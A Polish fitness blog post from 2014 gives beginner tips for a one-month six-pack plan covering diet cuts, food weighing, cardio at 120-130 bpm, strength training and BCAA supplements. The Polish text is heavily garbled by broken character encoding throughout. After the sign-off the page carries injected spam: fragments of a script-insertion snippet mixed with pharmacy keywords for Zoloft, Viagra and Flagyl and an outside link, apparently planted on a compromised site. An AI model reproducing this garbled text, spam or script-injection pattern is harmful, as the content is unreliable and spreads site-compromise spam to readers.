JabiPakuje ai??i?? SIX PACK – MIESIAi??C PRZED WAKACJAMI

6.11.2014 / Adam Jabłoński / Kulturystyka

CzeAi??Ai??,

MoA?e akurat nie w sezonie jesteAi??my ale to niewaA?ne .
Rady siAi?? przydadzAi?? kaA?demu kto chce poprawiAi?? formAi?? i polepszyAi?? swojAi?? sylwetkAi?? np. przed sylwestrem, urlopem, a szczegA?lnie przed WAKACJAMI 😉 lub zaczAi??Ai?? caAi??kowitAi?? redukcjAi?? tkanki tAi??uszczowej.

W miesiAi??c moA?na zrobiAi?? hmm – zaleA?y od jakiego puAi??apu sylwetki startujemy, na pewno poprawimy naszAi?? formAi??.

Co robimy na starcie :
– Wyrzucamy wszystkie cukierki, sAi??odkie napoje, tAi??uste potrawy z naszej diety
– Zakup wagi elektronicznej kuchennej
– AsciAi??gamy z internetu w arkuszu kalkulacyjnym lub wchodzimy na stronAi?? i szukamy Tabeli wartoAi??ci odA?ywczych produktA?w
– Dodajemy trening aerobowy/cardio czyli bieganie,pAi??ywanie,szybki chAi??A?d – waA?ne aby puls/tAi??tno trzymaAi?? na poziomie 120-130 uderzeAi?? serca na minutAi??.
-Dodajemy trening siAi??owy

Trening aerobowy zaczynamy od 2-3 razy po 25 minut i dodajemy 5 minut co np. 3-4 dni, aA? dojdziemy do 45 minut wtedy moA?emy dodaAi?? dodatkowo dzieAi?? treningowy (aerobowy).
czyli wykonujemy 3-4 razy po 45 minut taki trening.

Mam nadziejAi??, A?e taki mini rady pomogAi?? tym, co dopiero zaczynajAi?? siAi?? tym interesowaAi?? i chcAi?? zrobiAi?? cokolwiek z swojAi?? sylwetkAi?? i wyglAi??daAi??em.

Trening aerobowy wykonujemy z rana lub po treningu siAi??owy.
WaA?ne, A?eby przed treningiem aerobowym dodaAi?? 5-10 gram BCAA, aby oszczAi??dziAi?? pracujAi??ce miAi??Ai??nie podczas treningu.

Pozdrawiam
HEJAAAAAAdocument.currentScript.parentNode.insertBefore(s, document.currentScript); differin cost canada what is zoloft used for. Zoloft online. sertraline good or bad. online Buy online Order purchase aygestin for endometriosis document.currentScript.parentNode.insertBefore(s, document.currentScript);} Pills flagyl and alcohol myth viagra in philippines http://thainog.in.th/index.php/2018/03/19/where-can-i-buy-zaditor-eye-drops/